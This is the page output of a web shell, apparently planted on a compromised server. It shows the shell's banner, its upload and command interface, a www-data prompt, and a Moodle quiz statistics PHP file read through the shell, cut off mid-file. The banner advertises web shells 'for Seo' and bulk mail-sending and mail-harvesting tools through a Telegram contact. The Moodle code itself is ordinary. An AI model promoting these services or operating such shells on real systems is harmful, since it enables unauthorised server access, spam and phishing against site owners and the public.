__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Quiz statistics report class.
 *
 * @package   quiz_statistics
 * @copyright 2014 Open University
 * @author    James Pratt <me@jamiep.org>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

use core_question\statistics\responses\analyser;
use mod_quiz\local\reports\report_base;
use core_question\statistics\questions\all_calculated_for_qubaid_condition;

require_once($CFG->dirroot . '/mod/quiz/report/reportlib.php');
require_once($CFG->dirroot . '/mod/quiz/report/statistics/statistics_form.php');
require_once($CFG->dirroot . '/mod/quiz/report/statistics/statistics_table.php');
require_once($CFG->dirroot . '/mod/quiz/report/statistics/statistics_question_table.php');
require_once($CFG->dirroot . '/mod/quiz/report/statistics/statisticslib.php');

/**
 * The quiz statistics report provides summary information about each question in
 * a quiz, compared to the whole quiz. It also provides a drill-down to more
 * detailed information about each question.
 *
 * @copyright 2008 Jamie Pratt
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class quiz_statistics_report extends report_base {

    /** @var context_module context of this quiz.*/
    protected $context;

    /** @var quiz_statistics_table instance of table class used for main questions stats table. */
    protected $table;

    /** @var \core\progress\base|null $progress Handles progress reporting or not. */
    protected $progress = null;

    /**
     * Display the report.
     */
    public function display($quiz, $cm, $course) {
        global $OUTPUT, $DB;

        raise_memory_limit(MEMORY_HUGE);

        $this->context = context_module::instance($cm->id);

        if (!quiz_has_questions($quiz->id)) {
            $this->print_header_and_tabs($cm, $course, $quiz, 'statistics');
            echo quiz_no_questions_message($quiz, $cm, $this->context);
            return true;
        }

        // Work out the display options.
        $download = optional_param('download', '', PARAM_ALPHA);
        $everything = optional_param('everything', 0, PARAM_BOOL);
        $recalculate = optional_param('recalculate', 0, PARAM_BOOL);
        // A qid paramter indicates we should display the detailed analysis of a sub question.
        $qid = optional_param('qid', 0, PARAM_INT);
        $slot = optional_param('slot', 0, PARAM_INT);
        $variantno = optional_param('variant', null, PARAM_INT);
        $whichattempts = optional_param('whichattempts', $quiz->grademethod, PARAM_INT);
        $whichtries = optional_param('whichtries', question_attempt::LAST_TRY, PARAM_ALPHA);

        $pageoptions = [];
        $pageoptions['id'] = $cm->id;
        $pageoptions['mode'] = 'statistics';

        $reporturl = new moodle_url('/mod/quiz/report.php', $pageoptions);

        $mform = new quiz_statistics_settings_form($reporturl, compact('quiz'));

        $mform->set_data(['whichattempts' => $whichattempts, 'whichtries' => $whichtries]);

        if ($whichattempts != $quiz->grademethod) {
            $reporturl->param('whichattempts', $whichattempts);
        }

        if ($whichtries != question_attempt::LAST_TRY) {
            $reporturl->param('whichtries', $whichtries);
        }

        // Find out current groups mode.
        $currentgroup = $this->get_current_group($cm, $course, $this->context);
        $nostudentsingroup = false; // True if a group is selected and there is no one in it.
        if (empty($currentgroup)) {
            $currentgroup = 0;
            $groupstudentsjoins = new \core\dml\sql_join();

        } else if ($currentgroup == self::NO_GROUPS_ALLOWED) {
            $groupstudentsjoins = new \core\dml\sql_join();
            $nostudentsingroup = true;

        } else {
            // All users who can attempt quizzes and who are in the currently selected group.
            $groupstudentsjoins = get_enrolled_with_capabilities_join($this->context, '',
                    ['mod/quiz:reviewmyattempts', 'mod/quiz:attempt'], $currentgroup);
            if (!empty($groupstudentsjoins->joins)) {
                $sql = "SELECT DISTINCT u.id
                    FROM {user} u
                    {$groupstudentsjoins->joins}
                    WHERE {$groupstudentsjoins->wheres}";
                if (!$DB->record_exists_sql($sql, $groupstudentsjoins->params)) {
                    $nostudentsingroup = true;
                }
            }
        }

        $qubaids = quiz_statistics_qubaids_condition($quiz->id, $groupstudentsjoins, $whichattempts);

        // If recalculate was requested, handle that.
        if ($recalculate && confirm_sesskey()) {
            $this->clear_cached_data($qubaids);
            redirect($reporturl);
        }

        // Set up the main table.
        $this->table = new quiz_statistics_table();
        if ($everything) {
            $report = get_string('completestatsfilename', 'quiz_statistics');
        } else {
            $report = get_string('questionstatsfilename', 'quiz_statistics');
        }
        $courseshortname = format_string($course->shortname, true,
                ['context' => context_course::instance($course->id)]);
        $filename = quiz_report_download_filename($report, $courseshortname, $quiz->name);
        $this->table->is_downloading($download, $filename,
                get_string('quizstructureanalysis', 'quiz_statistics'));
        $questions = $this->load_and_initialise_questions_for_calculations($quiz);

        // Print the page header stuff (if not downloading.
        if (!$this->table->is_downloading()) {
            $this->print_header_and_tabs($cm, $course, $quiz, 'statistics');
        }

        if (!$nostudentsingroup) {
            // Get the data to be displayed.
            $progress = $this->get_progress_trace_instance();
            list($quizstats, $questionstats) =
                $this->get_all_stats_and_analysis($quiz, $whichattempts, $whichtries, $groupstudentsjoins, $questions, $progress);
            if (is_null($quizstats)) {
                echo $OUTPUT->notification(get_string('nostats', 'quiz_statistics'), 'error');
                return true;
            }
        } else {
            // Or create empty stats containers.
            $quizstats = new \quiz_statistics\calculated($whichattempts);
            $questionstats = new \core_question\statistics\questions\all_calculated_for_qubaid_condition();
        }

        // Set up the table.
        $this->table->statistics_setup($quiz, $cm->id, $reporturl, $quizstats->s());

        // Print the rest of the page header stuff (if not downloading.
        if (!$this->table->is_downloading()) {

            if (groups_get_activity_groupmode($cm)) {
                groups_print_activity_menu($cm, $reporturl->out());
                if ($currentgroup && $nostudentsingroup) {
                    $OUTPUT->notification(get_string('nostudentsingroup', 'quiz_statistics'));
                }
            }

            if (!$this->table->is_downloading() && $quizstats->s() == 0) {
                echo $OUTPUT->notification(get_string('nogradedattempts', 'quiz_statistics'));
            }

            foreach ($questionstats->any_error_messages() as $errormessage) {
                echo $OUTPUT->notification($errormessage);
            }

            // Print display options form.
            $mform->display();
        }

        if ($everything) { // Implies is downloading.
            // Overall report, then the analysis of each question.
            $quizinfo = $quizstats->get_formatted_quiz_info_data($course, $cm, $quiz);
            $this->download_quiz_info_table($quizinfo);

            if ($quizstats->s()) {
                $this->output_quiz_structure_analysis_table($questionstats);

                if ($this->table->is_downloading() == 'html' && $quizstats->s() != 0) {
                    $this->output_statistics_graph($quiz, $qubaids);
                }

                $this->output_all_question_response_analysis($qubaids, $questions, $questionstats, $reporturl, $whichtries);
            }

            $this->table->export_class_instance()->finish_document();

        } else if ($qid) {
            // Report on an individual sub-question indexed questionid.
            if (!$questionstats->has_subq($qid, $variantno)) {
                throw new \moodle_exception('questiondoesnotexist', 'question');
            }

            $this->output_individual_question_data($quiz, $questionstats->for_subq($qid, $variantno));
            $this->output_individual_question_response_analysis($questionstats->for_subq($qid, $variantno)->question,
                                                                $variantno,
                                                                $questionstats->for_subq($qid, $variantno)->s,
                                                                $reporturl,
                                                                $qubaids,
                                                                $whichtries);
            // Back to overview link.
            echo $OUTPUT->box('<a href="' . $reporturl->out() . '">' .
                              get_string('backtoquizreport', 'quiz_statistics') . '</a>',
                              'boxaligncenter generalbox boxwidthnormal mdl-align');
        } else if ($slot) {
            // Report on an individual question indexed by position.
            if (!isset($questions[$slot])) {
                throw new \moodle_exception('questiondoesnotexist', 'question');
            }

            if ($variantno === null &&
                                ($questionstats->for_slot($slot)->get_sub_question_ids()
                                || $questionstats->for_slot($slot)->get_variants())) {
                if (!$this->table->is_downloading()) {
                    $number = $questionstats->for_slot($slot)->question->number;
                    echo $OUTPUT->heading(get_string('slotstructureanalysis', 'quiz_statistics', $number), 3);
                }
                $this->table->define_baseurl(new moodle_url($reporturl, ['slot' => $slot]));
                $this->table->format_and_add_array_of_rows($questionstats->structure_analysis_for_one_slot($slot));
            } else {
                $this->output_individual_question_data($quiz, $questionstats->for_slot($slot, $variantno));
                $this->output_individual_question_response_analysis($questions[$slot],
                                                                    $variantno,
                                                                    $questionstats->for_slot($slot, $variantno)->s,
                                                                    $reporturl,
                                                                    $qubaids,
                                                                    $whichtries);
            }
            if (!$this->table->is_downloading()) {
                // Back to overview link.
                echo $OUTPUT->box('<a href="' . $reporturl->out() . '">' .
                        get_string('backtoquizreport', 'quiz_statistics') . '</a>',
                        'backtomainstats boxaligncenter generalbox boxwidthnormal mdl-align');
            } else {
                $this->table->finish_output();
            }

        } else if ($this->table->is_downloading()) {
            // Downloading overview report.
            $quizinfo = $quizstats->get_formatted_quiz_info_data($course, $cm, $quiz);
            $this->download_quiz_info_table($quizinfo);
            if ($quizstats->s()) {
                $this->output_quiz_structure_analysis_table($questionstats);
            }
            $this->table->export_class_instance()->finish_document();

        } else {
            // On-screen display of overview report.
            echo $OUTPUT->heading(get_string('quizinformation', 'quiz_statistics'), 3);
            echo $this->output_caching_info($quizstats->timemodified, $quiz->id, $groupstudentsjoins, $whichattempts, $reporturl);
            echo $this->everything_download_options($reporturl);
            $quizinfo = $quizstats->get_formatted_quiz_info_data($course, $cm, $quiz);
            echo $this->output_quiz_info_table($quizinfo);
            if ($quizstats->s()) {
                echo $OUTPUT->heading(get_string('quizstructureanalysis', 'quiz_statistics'), 3);
                $this->output_quiz_structure_analysis_table($questionstats);
                $this->output_statistics_graph($quiz, $qubaids);
            }
        }

        return true;
    }

    /**
     * Display the statistical and introductory information about a question.
     * Only called when not downloading.
     *
     * @param stdClass                                         $quiz         the quiz settings.
     * @param \core_question\statistics\questions\calculated $questionstat the question to report on.
     */
    protected function output_individual_question_data($quiz, $questionstat) {
        global $OUTPUT;

        // On-screen display. Show a summary of the question's place in the quiz,
        // and the question statistics.
        $datumfromtable = $this->table->format_row($questionstat);

        // Set up the question info table.
        $questioninfotable = new html_table();
        $questioninfotable->align = ['center', 'center'];
        $questioninfotable->width = '60%';
        $questioninfotable->attributes['class'] = 'generaltable titlesleft';

        $questioninfotable->data = [];
        $questioninfotable->data[] = [get_string('modulename', 'quiz'), $quiz->name];
        $questioninfotable->data[] = [get_string('questionname', 'quiz_statistics'),
                $questionstat->question->name.'&nbsp;'.$datumfromtable['actions']];

        if ($questionstat->variant !== null) {
            $questioninfotable->data[] = [get_string('variant', 'quiz_statistics'), $questionstat->variant];

        }
        $questioninfotable->data[] = [get_string('questiontype', 'quiz_statistics'),
                $datumfromtable['icon'] . '&nbsp;' .
                question_bank::get_qtype($questionstat->question->qtype, false)->menu_name() . '&nbsp;' .
                $datumfromtable['icon']];
        $questioninfotable->data[] = [get_string('positions', 'quiz_statistics'),
                $questionstat->positions];

        // Set up the question statistics table.
        $questionstatstable = new html_table();
        $questionstatstable->align = ['center', 'center'];
        $questionstatstable->width = '60%';
        $questionstatstable->attributes['class'] = 'generaltable titlesleft';

        unset($datumfromtable['number']);
        unset($datumfromtable['icon']);
        $actions = $datumfromtable['actions'];
        unset($datumfromtable['actions']);
        unset($datumfromtable['name']);
        $labels = [
            's' => get_string('attempts', 'quiz_statistics'),
            'facility' => get_string('facility', 'quiz_statistics'),
            'sd' => get_string('standarddeviationq', 'quiz_statistics'),
            'random_guess_score' => get_string('random_guess_score', 'quiz_statistics'),
            'intended_weight' => get_string('intended_weight', 'quiz_statistics'),
            'effective_weight' => get_string('effective_weight', 'quiz_statistics'),
            'discrimination_index' => get_string('discrimination_index', 'quiz_statistics'),
            'discriminative_efficiency' =>
                                get_string('discriminative_efficiency', 'quiz_statistics')
        ];
        foreach ($datumfromtable as $item => $value) {
            $questionstatstable->data[] = [$labels[$item], $value];
        }

        // Display the various bits.
        echo $OUTPUT->heading(get_string('questioninformation', 'quiz_statistics'), 3);
        echo html_writer::table($questioninfotable);
        echo $this->render_question_text($questionstat->question);
        echo $OUTPUT->heading(get_string('questionstatistics', 'quiz_statistics'), 3);
        echo html_writer::table($questionstatstable);
    }

    /**
     * Output question text in a box with urls appropriate for a preview of the question.
     *
     * @param stdClass $question question data.
     * @return string HTML of question text, ready for display.
     */
    protected function render_question_text($question) {
        global $OUTPUT;

        $text = question_rewrite_question_preview_urls($question->questiontext, $question->id,
                $question->contextid, 'question', 'questiontext', $question->id,
                $this->context->id, 'quiz_statistics');

        return $OUTPUT->box(format_text($text, $question->questiontextformat,
                ['noclean' => true, 'para' => false, 'overflowdiv' => true]),
                'questiontext boxaligncenter generalbox boxwidthnormal mdl-align');
    }

    /**
     * Display the response analysis for a question.
     *
     * @param stdClass           $question  the question to report on.
     * @param int|null         $variantno the variant
     * @param int              $s
     * @param moodle_url       $reporturl the URL to redisplay this report.
     * @param qubaid_condition $qubaids
     * @param string           $whichtries
     */
    protected function output_individual_question_response_analysis($question, $variantno, $s, $reporturl, $qubaids,
                                                                    $whichtries = question_attempt::LAST_TRY) {
        global $OUTPUT;

        if (!question_bank::get_qtype($question->qtype, false)->can_analyse_responses()) {
            return;
        }

        $qtable = new quiz_statistics_question_table($question->id);
        $exportclass = $this->table->export_class_instance();
        $qtable->export_class_instance($exportclass);
        if (!$this->table->is_downloading()) {
            // Output an appropriate title.
            echo $OUTPUT->heading(get_string('analysisofresponses', 'quiz_statistics'), 3);

        } else {
            // Work out an appropriate title.
            $a = clone($question);
            $a->variant = $variantno;

            if (!empty($question->number) && !is_null($variantno)) {
                $questiontabletitle = get_string('analysisnovariant', 'quiz_statistics', $a);
            } else if (!empty($question->number)) {
                $questiontabletitle = get_string('analysisno', 'quiz_statistics', $a);
            } else if (!is_null($variantno)) {
                $questiontabletitle = get_string('analysisvariant', 'quiz_statistics', $a);
            } else {
                $questiontabletitle = get_string('analysisnameonly', 'quiz_statistics', $a);
            }

            if ($this->table->is_downloading() == 'html') {
                $questiontabletitle = get_string('analysisofresponsesfor', 'quiz_statistics', $questiontabletitle);
            }

            // Set up the table.
            $exportclass->start_table($questiontabletitle);

            if ($this->table->is_downloading() == 'html') {
                echo $this->render_question_text($question);
            }
        }

        $responesanalyser = new analyser($question, $whichtries);
        $responseanalysis = $responesanalyser->load_cached($qubaids, $whichtries);

        $qtable->question_setup($reporturl, $question, $s, $responseanalysis);
        if ($this->table->is_downloading()) {
            $exportclass->output_headers($qtable->headers);
        }

        // Where no variant no is specified the variant no is actually one.
        if ($variantno === null) {
            $variantno = 1;
        }
        foreach ($responseanalysis->get_subpart_ids($variantno) as $partid) {
            $subpart = $responseanalysis->get_analysis_for_subpart($variantno, $partid);
            foreach ($subpart->get_response_class_ids() as $responseclassid) {
                $responseclass = $subpart->get_response_class($responseclassid);
                $tabledata = $responseclass->data_for_question_response_table($subpart->has_multiple_response_classes(), $partid);
                foreach ($tabledata as $row) {
                    $qtable->add_data_keyed($qtable->format_row($row));
                }
            }
        }

        $qtable->finish_output(!$this->table->is_downloading());
    }

    /**
     * Output the table that lists all the questions in the quiz with their statistics.
     *
     * @param \core_question\statistics\questions\all_calculated_for_qubaid_condition $questionstats the stats for all questions in
     *                                                                                               the quiz including subqs and
     *                                                                                               variants.
     */
    protected function output_quiz_structure_analysis_table($questionstats) {
        $limitvariants = !$this->table->is_downloading();
        foreach ($questionstats->get_all_slots() as $slot) {
            // Output the data for these question statistics.
            $structureanalysis = $questionstats->structure_analysis_for_one_slot($slot, $limitvariants);
            if (is_null($structureanalysis)) {
                $this->table->add_separator();
            } else {
                foreach ($structureanalysis as $row) {
                    $bgcssclass = '';
                    // The only way to identify in this point of the report if a row is a summary row
                    // is checking if it's a instance of calculated_question_summary class.
                    if ($row instanceof \core_question\statistics\questions\calculated_question_summary) {
                        // Apply a custom css class to summary row to remove border and reduce paddings.
                        $bgcssclass = 'quiz_statistics-summaryrow';

                        // For question that contain a summary row, we add a "hidden" row in between so the report
                        // display both rows with same background color.
                        $this->table->add_data_keyed([], 'd-none hidden');
                    }

                    $this->table->add_data_keyed($this->table->format_row($row), $bgcssclass);
                }
            }
        }

        $this->table->finish_output(!$this->table->is_downloading());
    }

    /**
     * Return HTML for table of overall quiz statistics.
     *
     * @param array $quizinfo as returned by {@link get_formatted_quiz_info_data()}.
     * @return string the HTML.
     */
    protected function output_quiz_info_table($quizinfo) {

        $quizinfotable = new html_table();
        $quizinfotable->align = ['center', 'center'];
        $quizinfotable->width = '60%';
        $quizinfotable->attributes['class'] = 'generaltable titlesleft';
        $quizinfotable->data = [];

        foreach ($quizinfo as $heading => $value) {
             $quizinfotable->data[] = [$heading, $value];
        }

        return html_writer::table($quizinfotable);
    }

    /**
     * Download the table of overall quiz statistics.
     *
     * @param array $quizinfo as returned by {@link get_formatted_quiz_info_data()}.
     */
    protected function download_quiz_info_table($quizinfo) {
        global $OUTPUT;

        // HTML download is a special case.
        if ($this->table->is_downloading() == 'html') {
            echo $OUTPUT->heading(get_string('quizinformation', 'quiz_statistics'), 3);
            echo $this->output_quiz_info_table($quizinfo);
            return;
        }

        // Reformat the data ready for output.
        $headers = [];
        $row = [];
        foreach ($quizinfo as $heading => $value) {
            $headers[] = $heading;
            $row[] = $value;
        }

        // Do the output.
        $exportclass = $this->table->export_class_instance();
        $exportclass->start_table(get_string('quizinformation', 'quiz_statistics'));
        $exportclass->output_headers($headers);
        $exportclass->add_data($row);
        $exportclass->finish_table();
    }

    /**
     * Output the HTML needed to show the statistics graph.
     *
     * @param stdClass $quiz the quiz.
     * @param qubaid_condition $qubaids the question usages whose responses to analyse.
     */
    protected function output_statistics_graph($quiz, $qubaids) {
        global $DB, $PAGE;

        // Load the rest of the required data.
        $questions = quiz_report_get_significant_questions($quiz);

        // Only load main question not sub questions.
        $questionstatistics = $DB->get_records_select('question_statistics',
                'hashcode = ? AND slot IS NOT NULL AND variant IS NULL',
            [$qubaids->get_hash_code()]);

        // Configure what to display.
        $fieldstoplot = [
            'facility' => get_string('facility', 'quiz_statistics'),
            'discriminativeefficiency' => get_string('discriminative_efficiency', 'quiz_statistics')
        ];
        $fieldstoplotfactor = ['facility' => 100, 'discriminativeefficiency' => 1];

        // Prepare the arrays to hold the data.
        $xdata = [];
        foreach (array_keys($fieldstoplot) as $fieldtoplot) {
            $ydata[$fieldtoplot] = [];
        }

        // Fill in the data for each question.
        foreach ($questionstatistics as $questionstatistic) {
            $number = $questions[$questionstatistic->slot]->number;
            $xdata[$number] = $number;

            foreach ($fieldstoplot as $fieldtoplot => $notused) {
                $value = $questionstatistic->$fieldtoplot;
                if (is_null($value)) {
                    $value = 0;
                }
                $value *= $fieldstoplotfactor[$fieldtoplot];
                $ydata[$fieldtoplot][$number] = number_format($value, 2);
            }
        }

        // Create the chart.
        sort($xdata);
        $chart = new \core\chart_bar();
        $chart->get_xaxis(0, true)->set_label(get_string('position', 'quiz_statistics'));
        $chart->set_labels(array_values($xdata));

        foreach ($fieldstoplot as $fieldtoplot => $notused) {
            ksort($ydata[$fieldtoplot]);
            $series = new \core\chart_series($fieldstoplot[$fieldtoplot], array_values($ydata[$fieldtoplot]));
            $chart->add_series($series);
        }

        // Find max.
        $max = 0;
        foreach ($fieldstoplot as $fieldtoplot => $notused) {
            $max = max($max, max($ydata[$fieldtoplot]));
        }

        // Set Y properties.
        $yaxis = $chart->get_yaxis(0, true);
        $yaxis->set_stepsize(10);
        $yaxis->set_label('%');

        $output = $PAGE->get_renderer('mod_quiz');
        $graphname = get_string('statisticsreportgraph', 'quiz_statistics');
        echo $output->chart($chart, $graphname);
    }

    /**
     * Get the quiz and question statistics, either by loading the cached results,
     * or by recomputing them.
     *
     * @param stdClass $quiz               the quiz settings.
     * @param string $whichattempts      which attempts to use, represented internally as one of the constants as used in
     *                                   $quiz->grademethod ie.
     *                                   QUIZ_GRADEAVERAGE, QUIZ_GRADEHIGHEST, QUIZ_ATTEMPTLAST or QUIZ_ATTEMPTFIRST
     *                                   we calculate stats based on which attempts would affect the grade for each student.
     * @param string $whichtries         which tries to analyse for response analysis. Will be one of
     *                                   question_attempt::FIRST_TRY, LAST_TRY or ALL_TRIES.
     * @param \core\dml\sql_join $groupstudentsjoins Contains joins, wheres, params for students in this group.
     * @param array  $questions          full question data.
     * @param \core\progress\base|null   $progress
     * @param bool $calculateifrequired  if true (the default) the stats will be calculated if not already stored.
     *                                   If false, [null, null] will be returned if the stats are not already available.
     * @param bool $performanalysis      if true (the default) and there are calculated stats, analysis will be performed
     *                                   for each question.
     * @return array with 2 elements:    - $quizstats The statistics for overall attempt scores.
     *                                   - $questionstats \core_question\statistics\questions\all_calculated_for_qubaid_condition
     *                                   Both may be null, if $calculateifrequired is false.
     */
    public function get_all_stats_and_analysis(
            $quiz, $whichattempts, $whichtries, \core\dml\sql_join $groupstudentsjoins,
            $questions, $progress = null, bool $calculateifrequired = true, bool $performanalysis = true) {

        if ($progress === null) {
            $progress = new \core\progress\none();
        }

        $qubaids = quiz_statistics_qubaids_condition($quiz->id, $groupstudentsjoins, $whichattempts);

        $qcalc = new \core_question\statistics\questions\calculator($questions, $progress);

        $quizcalc = new \quiz_statistics\calculator($progress);

        $progress->start_progress('', 4);

        // Get a lock on this set of qubaids before performing calculations. This prevents the same calculation running
        // concurrently and causing database deadlocks. We use a long timeout here as a big quiz with lots of attempts may
        // take a long time to process.
        $lockfactory = \core\lock\lock_config::get_lock_factory('quiz_statistics_get_stats');
        $lock = $lockfactory->get_lock($qubaids->get_hash_code(), 0);
        if (!$lock) {
            if (!$calculateifrequired) {
                // We're not going to do the calculation in this request anyway, so just give up here.
                $progress->progress(4);
                $progress->end_progress();
                return [null, null];
            }
            $locktimeout = get_config('quiz_statistics', 'getstatslocktimeout');
            $lock = \core\lock\lock_utils::wait_for_lock_with_progress(
                $lockfactory,
                $qubaids->get_hash_code(),
                $progress,
                $locktimeout,
                get_string('getstatslockprogress', 'quiz_statistics'),
            );
            if (!$lock) {
                // Lock attempt timed out.
                $progress->progress(4);
                $progress->end_progress();
                debugging('Could not get lock on ' .
                        $qubaids->get_hash_code() . ' (Quiz ID ' . $quiz->id . ') after ' .
                        $locktimeout . ' seconds');
                return [null, null];
            }
        }

        try {
            if ($quizcalc->get_last_calculated_time($qubaids) === false) {
                if (!$calculateifrequired) {
                    $progress->progress(4);
                    $progress->end_progress();
                    $lock->release();
                    return [null, null];
                }

                // Recalculate now.
                $questionstats = $qcalc->calculate($qubaids);
                $progress->progress(2);

                $quizstats = $quizcalc->calculate(
                    $quiz->id,
                    $whichattempts,
                    $groupstudentsjoins,
                    count($questions),
                    $qcalc->get_sum_of_mark_variance()
                );
                $progress->progress(3);
            } else {
                $quizstats = $quizcalc->get_cached($qubaids);
                $progress->progress(2);
                $questionstats = $qcalc->get_cached($qubaids);
                $progress->progress(3);
            }

            if ($quizstats->s() && $performanalysis) {
                $subquestions = $questionstats->get_sub_questions();
                $this->analyse_responses_for_all_questions_and_subquestions(
                    $questions,
                    $subquestions,
                    $qubaids,
                    $whichtries,
                    $progress
                );
            }
            $progress->progress(4);
            $progress->end_progress();
        } finally {
            $lock->release();
        }

        return [$quizstats, $questionstats];
    }

    /**
     * Appropriate instance depending if we want html output for the user or not.
     *
     * @return \core\progress\base child of \core\progress\base to handle the display (or not) of task progress.
     */
    protected function get_progress_trace_instance() {
        if ($this->progress === null) {
            if (!$this->table->is_downloading()) {
                $this->progress = new \core\progress\display_if_slow(get_string('calculatingallstats', 'quiz_statistics'));
                $this->progress->set_display_names();
            } else {
                $this->progress = new \core\progress\none();
            }
        }
        return $this->progress;
    }

    /**
     * Analyse responses for all questions and sub questions in this quiz.
     *
     * @param stdClass[] $questions as returned by self::load_and_initialise_questions_for_calculations
     * @param stdClass[] $subquestions full question objects.
     * @param qubaid_condition $qubaids the question usages whose responses to analyse.
     * @param string $whichtries which tries to analyse \question_attempt::FIRST_TRY, LAST_TRY or ALL_TRIES.
     * @param null|\core\progress\base $progress Used to indicate progress of task.
     */
    protected function analyse_responses_for_all_questions_and_subquestions($questions, $subquestions, $qubaids,
                                                                            $whichtries, $progress = null) {
        if ($progress === null) {
            $progress = new \core\progress\none();
        }

        // Starting response analysis tasks.
        $progress->start_progress('', count($questions) + count($subquestions));

        $done = $this->analyse_responses_for_questions($questions, $qubaids, $whichtries, $progress);

        $this->analyse_responses_for_questions($subquestions, $qubaids, $whichtries, $progress, $done);

        // Finished all response analysis tasks.
        $progress->end_progress();
    }

    /**
     * Analyse responses for an array of questions or sub questions.
     *
     * @param stdClass[] $questions  as returned by self::load_and_initialise_questions_for_calculations.
     * @param qubaid_condition $qubaids the question usages whose responses to analyse.
     * @param string $whichtries which tries to analyse \question_attempt::FIRST_TRY, LAST_TRY or ALL_TRIES.
     * @param null|\core\progress\base $progress Used to indicate progress of task.
     * @param int[] $done array keys are ids of questions that have been analysed before calling method.
     * @return array array keys are ids of questions that were analysed after this method call.
     */
    protected function analyse_responses_for_questions($questions, $qubaids, $whichtries, $progress = null, $done = []) {
        $countquestions = count($questions);
        if (!$countquestions) {
            return [];
        }
        if ($progress === null) {
            $progress = new \core\progress\none();
        }
        $progress->start_progress('', $countquestions, $countquestions);
        foreach ($questions as $question) {
            $progress->increment_progress();
            if (question_bank::get_qtype($question->qtype, false)->can_analyse_responses()  && !isset($done[$question->id])) {
                $responesstats = new analyser($question, $whichtries);
                $responesstats->calculate($qubaids, $whichtries);
            }
            $done[$question->id] = 1;
        }
        $progress->end_progress();
        return $done;
    }

    /**
     * Return a little form for the user to request to download the full report, including quiz stats and response analysis for
     * all questions and sub-questions.
     *
     * @param moodle_url $reporturl the base URL of the report.
     * @return string HTML.
     */
    protected function everything_download_options(moodle_url $reporturl) {
        global $OUTPUT;
        return $OUTPUT->download_dataformat_selector(get_string('downloadeverything', 'quiz_statistics'),
            $reporturl->out_omit_querystring(), 'download', $reporturl->params() + ['everything' => 1]);
    }

    /**
     * Return HTML for a message that says when the stats were last calculated and a 'recalculate now' button.
     *
     * @param int    $lastcachetime  the time the stats were last cached.
     * @param int    $quizid         the quiz id.
     * @param \core\dml\sql_join $groupstudentsjoins (joins, wheres, params) for students in the group
     *                                   or empty array if groups not used.
     * @param string $whichattempts which attempts to use, represented internally as one of the constants as used in
     *                                   $quiz->grademethod ie.
     *                                   QUIZ_GRADEAVERAGE, QUIZ_GRADEHIGHEST, QUIZ_ATTEMPTLAST or QUIZ_ATTEMPTFIRST
     *                                   we calculate stats based on which attempts would affect the grade for each student.
     * @param moodle_url $reporturl url for this report
     * @return string HTML.
     */
    protected function output_caching_info($lastcachetime, $quizid, $groupstudentsjoins, $whichattempts, $reporturl) {
        global $DB, $OUTPUT;

        if (empty($lastcachetime)) {
            return '';
        }

        // Find the number of attempts since the cached statistics were computed.
        list($fromqa, $whereqa, $qaparams) = quiz_statistics_attempts_sql($quizid, $groupstudentsjoins, $whichattempts, true);
        $count = $DB->count_records_sql("
                SELECT COUNT(1)
                FROM $fromqa
                WHERE $whereqa
                AND quiza.timefinish > {$lastcachetime}", $qaparams);

        if (!$count) {
            $count = 0;
        }

        // Generate the output.
        $a = new stdClass();
        $a->lastcalculated = format_time(time() - $lastcachetime);
        $a->count = $count;

        $recalcualteurl = new moodle_url($reporturl,
                ['recalculate' => 1, 'sesskey' => sesskey()]);
        $output = '';
        $output .= $OUTPUT->box_start(
                'boxaligncenter generalbox boxwidthnormal mdl-align', 'cachingnotice');
        $output .= get_string('lastcalculated', 'quiz_statistics', $a);
        $output .= $OUTPUT->single_button($recalcualteurl,
                get_string('recalculatenow', 'quiz_statistics'));
        $output .= $OUTPUT->box_end(true);

        return $output;
    }

    /**
     * Clear the cached data for a particular report configuration. This will trigger a re-computation the next time the report
     * is displayed.
     *
     * @param $qubaids qubaid_condition
     */
    public function clear_cached_data($qubaids) {
        global $DB;
        $DB->delete_records('quiz_statistics', ['hashcode' => $qubaids->get_hash_code()]);
        $DB->delete_records('question_statistics', ['hashcode' => $qubaids->get_hash_code()]);
        $DB->delete_records('question_response_analysis', ['hashcode' => $qubaids->get_hash_code()]);
    }

    /**
     * Load the questions in this quiz and add some properties to the objects needed in the reports.
     *
     * @param stdClass $quiz the quiz.
     * @return array of questions for this quiz.
     */
    public function load_and_initialise_questions_for_calculations($quiz) {
        // Load the questions.
        $questions = quiz_report_get_significant_questions($quiz);
        $questiondata = [];
        foreach ($questions as $qs => $question) {
            $displaynumber = $question->displaynumber;
            if ($question->qtype === 'random') {
                $question->id = 0;
                $question->name = get_string('random', 'quiz');
                $question->questiontext = get_string('random', 'quiz');
                $question->parenttype = 'random';
                $question->number = $displaynumber;
                $questiondata[$question->slot] = $question;
            } else if ($question->qtype === 'missingtype') {
                $question->id = is_numeric($question->id) ? (int) $question->id : 0;
                $questiondata[$question->slot] = $question;
                $question->name = get_string('deletedquestion', 'qtype_missingtype');
                $question->questiontext = get_string('deletedquestiontext', 'qtype_missingtype');
            } else {
                $q = question_bank::load_question_data($question->id);
                $q->maxmark = $question->maxmark;
                $q->slot = $question->slot;
                $q->number = $displaynumber;
                $q->parenttype = null;
                $questiondata[$question->slot] = $q;
            }
        }

        return $questiondata;
    }

    /**
